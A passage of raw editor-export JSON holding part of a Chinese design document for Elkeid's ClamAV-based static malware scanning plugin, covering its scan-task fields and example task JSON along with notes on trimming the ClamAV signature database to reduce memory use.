&#34;:{&#34;id&#34;:&#34;doxcnKweY6EGOcIqEANxnTD1qIh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUaKG2GAq0gCCMRuEmvh89d&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+i&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Process name space&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcne0g4yiaeMqm6iCklCTiSke&#34;:{&#34;id&#34;:&#34;doxcne0g4yiaeMqm6iCklCTiSke&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading3&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.2.3.插件扫描任务&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+8&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;:{&#34;id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;table&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;columns_id&#34;:[&#34;col8f198038-7249-47e3-b709-b011e7c9b404&#34;,&#34;col28ee454e-dfb6-43e0-bb90-963357a52e81&#34;],&#34;rows_id&#34;:[&#34;row2b96e13b-ddbe-4fab-9325-d054d00a16ce&#34;,&#34;row678c1f27-5761-4982-8dce-699a46998639&#34;,&#34;row81bbf4c7-3b59-47ec-ad5e-d04b9cf95236&#34;],&#34;column_set&#34;:{&#34;col28ee454e-dfb6-43e0-bb90-963357a52e81&#34;:{&#34;column_width&#34;:306},&#34;col8f198038-7249-47e3-b709-b011e7c9b404&#34;:{&#34;column_width&#34;:100}},&#34;cell_set&#34;:{&#34;row2b96e13b-ddbe-4fab-9325-d054d00a16cecol28ee454e-dfb6-43e0-bb90-963357a52e81&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcncCCSqoKaCYioyGy8JhNq9b&#34;},&#34;row2b96e13b-ddbe-4fab-9325-d054d00a16cecol8f198038-7249-47e3-b709-b011e7c9b404&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnMI4SuUUSeKuMuO3qFrS1qd&#34;},&#34;row678c1f27-5761-4982-8dce-699a46998639col28ee454e-dfb6-43e0-bb90-963357a52e81&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnuk6OE8IM4Y6UqwpXU2uKwb&#34;},&#34;row678c1f27-5761-4982-8dce-699a46998639col8f198038-7249-47e3-b709-b011e7c9b404&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnE2Wo8guk6Uq06siYt6zLd7&#34;},&#34;row81bbf4c7-3b59-47ec-ad5e-d04b9cf95236col28ee454e-dfb6-43e0-bb90-963357a52e81&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcngYy0GEs0qc42cJqYfsmLYn&#34;},&#34;row81bbf4c7-3b59-47ec-ad5e-d04b9cf95236col8f198038-7249-47e3-b709-b011e7c9b404&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnQcSwcGSEe68wxWzqsYELfZ&#34;}}}},&#34;doxcnMI4SuUUSeKuMuO3qFrS1qd&#34;:{&#34;id&#34;:&#34;doxcnMI4SuUUSeKuMuO3qFrS1qd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnAoawsgEooecimcmSFeVake&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnAoawsgEooecimcmSFeVake&#34;:{&#34;id&#34;:&#34;doxcnAoawsgEooecimcmSFeVake&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnMI4SuUUSeKuMuO3qFrS1qd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;error&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcncCCSqoKaCYioyGy8JhNq9b&#34;:{&#34;id&#34;:&#34;doxcncCCSqoKaCYioyGy8JhNq9b&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnKuEokq262Kk46MQnByEIYg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnKuEokq262Kk46MQnByEIYg&#34;:{&#34;id&#34;:&#34;doxcnKuEokq262Kk46MQnByEIYg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncCCSqoKaCYioyGy8JhNq9b&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+f&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;扫描任务执行错误信息（如果有）&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnE2Wo8guk6Uq06siYt6zLd7&#34;:{&#34;id&#34;:&#34;doxcnE2Wo8guk6Uq06siYt6zLd7&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnM8SYWs4oWqWwoJKsyfaqme&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnM8SYWs4oWqWwoJKsyfaqme&#34;:{&#34;id&#34;:&#34;doxcnM8SYWs4oWqWwoJKsyfaqme&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnE2Wo8guk6Uq06siYt6zLd7&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;token&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnuk6OE8IM4Y6UqwpXU2uKwb&#34;:{&#34;id&#34;:&#34;doxcnuk6OE8IM4Y6UqwpXU2uKwb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnmEQ00AiYQ8gMAfRN7AA78O&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnmEQ00AiYQ8gMAfRN7AA78O&#34;:{&#34;id&#34;:&#34;doxcnmEQ00AiYQ8gMAfRN7AA78O&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnuk6OE8IM4Y6UqwpXU2uKwb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+a&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;扫描任务 token&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnQcSwcGSEe68wxWzqsYELfZ&#34;:{&#34;id&#34;:&#34;doxcnQcSwcGSEe68wxWzqsYELfZ&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnSQuaYC86AI0Cm0T3N2oKrh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnSQuaYC86AI0Cm0T3N2oKrh&#34;:{&#34;id&#34;:&#34;doxcnSQuaYC86AI0Cm0T3N2oKrh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnQcSwcGSEe68wxWzqsYELfZ&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;{custom}&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcngYy0GEs0qc42cJqYfsmLYn&#34;:{&#34;id&#34;:&#34;doxcngYy0GEs0qc42cJqYfsmLYn&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnaC6CGemoyO6iYZJyrxGw6d&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnaC6CGemoyO6iYZJyrxGw6d&#34;:{&#34;id&#34;:&#34;doxcnaC6CGemoyO6iYZJyrxGw6d&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcngYy0GEs0qc42cJqYfsmLYn&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;自定义数据&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;:{&#34;id&#34;:&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;f0fe30d6-07c8-4853-a90e-cb3d76bd6c3f&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5*0*1+3d*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;在 示例 https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md#%E6%89%AB%E6%8F%8F%E4%BB%BB%E5%8A%A1 中，&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnq2oewiIAsyYkymNbjMNWic&#34;:{&#34;id&#34;:&#34;doxcnq2oewiIAsyYkymNbjMNWic&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;code&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0|b+6p*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;{\n    \&#34;id_list\&#34;: [\n        \&#34;33623333-3365-4905-b417-331e183333ff\&#34;\n    ],\n    \&#34;data\&#34;: {\n        \&#34;task\&#34;: {\n            \&#34;data_type\&#34;:6053,\n            \&#34;name\&#34;: \&#34;scanner_clamav\&#34;,\n            \&#34;data\&#34;: \&#34;{\\\&#34;exe\\\&#34;:\\\&#34;/path/to/target\\\&#34;}\&#34;\n        }\n    }\n}&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;language&#34;:&#34;Plaintext&#34;}},&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;:{&#34;id&#34;:&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;3a921f44-bb13-4ffe-97da-f6422fe0ca22\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_51845008,enterprise_663,enterprise_37496786\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3b*1*0+3*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;字段 data 为给插件下发的扫描任务 json string，其中，exe 为待扫描的文件绝对路径，exe、data_type 以外的所有字段会 插入/覆盖（如果已经存在）到命中规则后上报的数据中。例，如果需要在上报的数据中插入预定义的sid，则需要变更如下：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnkieuywEmIGuGrSUMDf0kwl&#34;:{&#34;id&#34;:&#34;doxcnkieuywEmIGuGrSUMDf0kwl&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;code&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;textHighlight&#34;,&#34;rgb(216,57,49)&#34;],&#34;2&#34;:[&#34;textHighlightBackground&#34;,&#34;rgba(255,246,122,0.8)&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0|8+4t*0+1d*0*1*2+h*0|3+j*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;{\n    \&#34;id_list\&#34;: [\n        \&#34;33623333-3365-4905-b417-331e183333ff\&#34;\n    ],\n    \&#34;data\&#34;: {\n        \&#34;task\&#34;: {\n            \&#34;data_type\&#34;:6053,\n            \&#34;name\&#34;: \&#34;scanner_clamav\&#34;,\n            \&#34;data\&#34;: \&#34;{\\\&#34;exe\\\&#34;:\\\&#34;/path/to/target\\\&#34;,\\\&#34;sid\\\&#34;:42414236}\&#34;\n        }\n    }\n}&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;language&#34;:&#34;Plaintext&#34;}},&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;:{&#34;id&#34;:&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:0,&#34;numToAttrib&#34;:{}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnIwE4G6y6mO0ozn24f3AUMs&#34;:{&#34;id&#34;:&#34;doxcnIwE4G6y6mO0ozn24f3AUMs&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading2&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.3.database 说明&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1*1+2*0+c&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;:{&#34;id&#34;:&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:0,&#34;numToAttrib&#34;:{}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;:{&#34;id&#34;:&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+7f&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;完整的 clamav database 中包含六百万以上样本数据，加载需要 2G 以上内存使用，且 clamav database 中大部分规则类型为：文件 hash 校验、Section hash 校验，以及大量的 windows 相关病毒规则。在 Linux 服务端的场景下，windows pe 等无关的病毒规则可以裁剪掉，此外 hash 校验部分则可以在扫描时提取对应特征，随 agent 数据流到后端统一验证。裁剪后的 database 再配合低频率的扫描任务，这样可以大幅减少静态检测在端上的内存和 CPU 资源资源占用。&#34;}}},&#34;text_indent&#34;:1,&#34;type&#34;:&#34;text&#34;}},&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;:{&#34;id&#34;:&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;link-id&#34;,&#34;951dfa07-a2ee-41b6-8f42-97c3961a1aeb&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1m*0*1+1a*0+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;clamav 数据库支持 yara 格式（但有一些限制），且数据库文件支持自定义，详细格式以及数据库定义规则请参考 https://docs.clamav.net/manual/Signatures.html。&#34;}}},&#34;text_indent&#34;:1,&#34;type&#34;:&#34;text&#34;}},&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;:{&#34;id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;,&#34;doxcncsCOcogCGEi2YJFK9NMKod&#34;,&#34;doxcny4OA2Cm6AqaSm0XwyNsSOb&#34;,&#34;doxcnamECEk0yi46MC2VhYNCV3b&#34;,&#34;doxcnAQoW0cIWuKI6i6aLBvZIub&#34;,&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;,&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;,&#34;doxcnsik2UmMGSU4ysVBOHllj3f&#34;,&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;,&#34;doxcniEyagY266cWA4KeudN0YMd&#34;,&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;,&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;,&#34;doxcn642QUMWWO6Y84naA1cPLpb&#34;,&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;,&#34;doxcnuoqs86K0a8eMhIUTgZbjdq&#34;,&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;,&#34;doxcnuqWcCAa6muUS1zrUyCPUOp&#34;,&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;,&#34;doxcnygEEIaUMOAqQ23YLL24K6d&#34;,&#34;doxcnegwqqEC4ykyY8hi3GLhkPd&#34;,&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;,&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;,&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;,&#34;doxcns0EK8Iw02wmISAq9YkaMlc&#34;,&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;,&#34;doxcnMWy6kiSaEiwIS8xAzNvH3b&#34;,&#34;doxcnIMgcMC06UK8ccBRXfZk08f&#34;,&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;doxcn8cOoeu8kUCweAEDWNKPm20&#34;,&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;doxcne0g4yiaeMqm6iCklCTiSke&#34;,&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;,&#34;doxcnq2oewiIAsyYkymNbjMNWic&#34;,&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;,&#34;doxcnkieuywEmIGuGrSUMDf0kwl&#34;,&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;,&#34;doxcnIwE4G6y6mO0ozn24f3AUMs&#34;,&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;,&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;,&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;e63558b3-78c0-4874-9551-69dc73a7b98d\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_417,enterprise_27991004,enterprise_42409430,enterprise_53419422,enterprise_26713426,enterprise_52406100\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;4c7e7566-6b55-491f-be30-4e0d185e2fcb\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5*1*0+2*0+1*2*0+6*0+7&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;【开源版本PR】Elkeid 静态检测插件&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;:{&#34;level&#34;:1},&#34;doxcniSMggkUkmGCmkF9P7v0N0c&#34;:{&#34;level&#34;:1},&#34;doxcnC6C2sGeYQuS0x8ZSnNuYJ4&#34;:{&#34;level&#34;:1},&#34;doxcngK2QYKsaowam6vUykBdVnd&#34;:{&#34;level&#34;:1},&#34;doxcnUI66KKak2I8MMFmR7EWUQf&#34;:{&#34;level&#34;:1},&#34;doxcnU06sgmIkYUWcewqPJ3KBsf&#34;:{&#34;level&#34;:1},&#34;doxcnO4KKmw4uAcgK8iCLmnP1Hc&#34;:{&#34;level&#34;:1},&#34;doxcnUoCaC8kCUuUQOBDe3mtvPU&#34;:{&#34;level&#34;:1},&#34;doxcn8Ci0c4MeaOCiCYe56hJZbg&#34;:{&#34;level&#34;:1},&#34;doxcn0eYimGg0Kwe2yitHJoQmhb&#34;:{&#34;level&#34;:1},&#34;d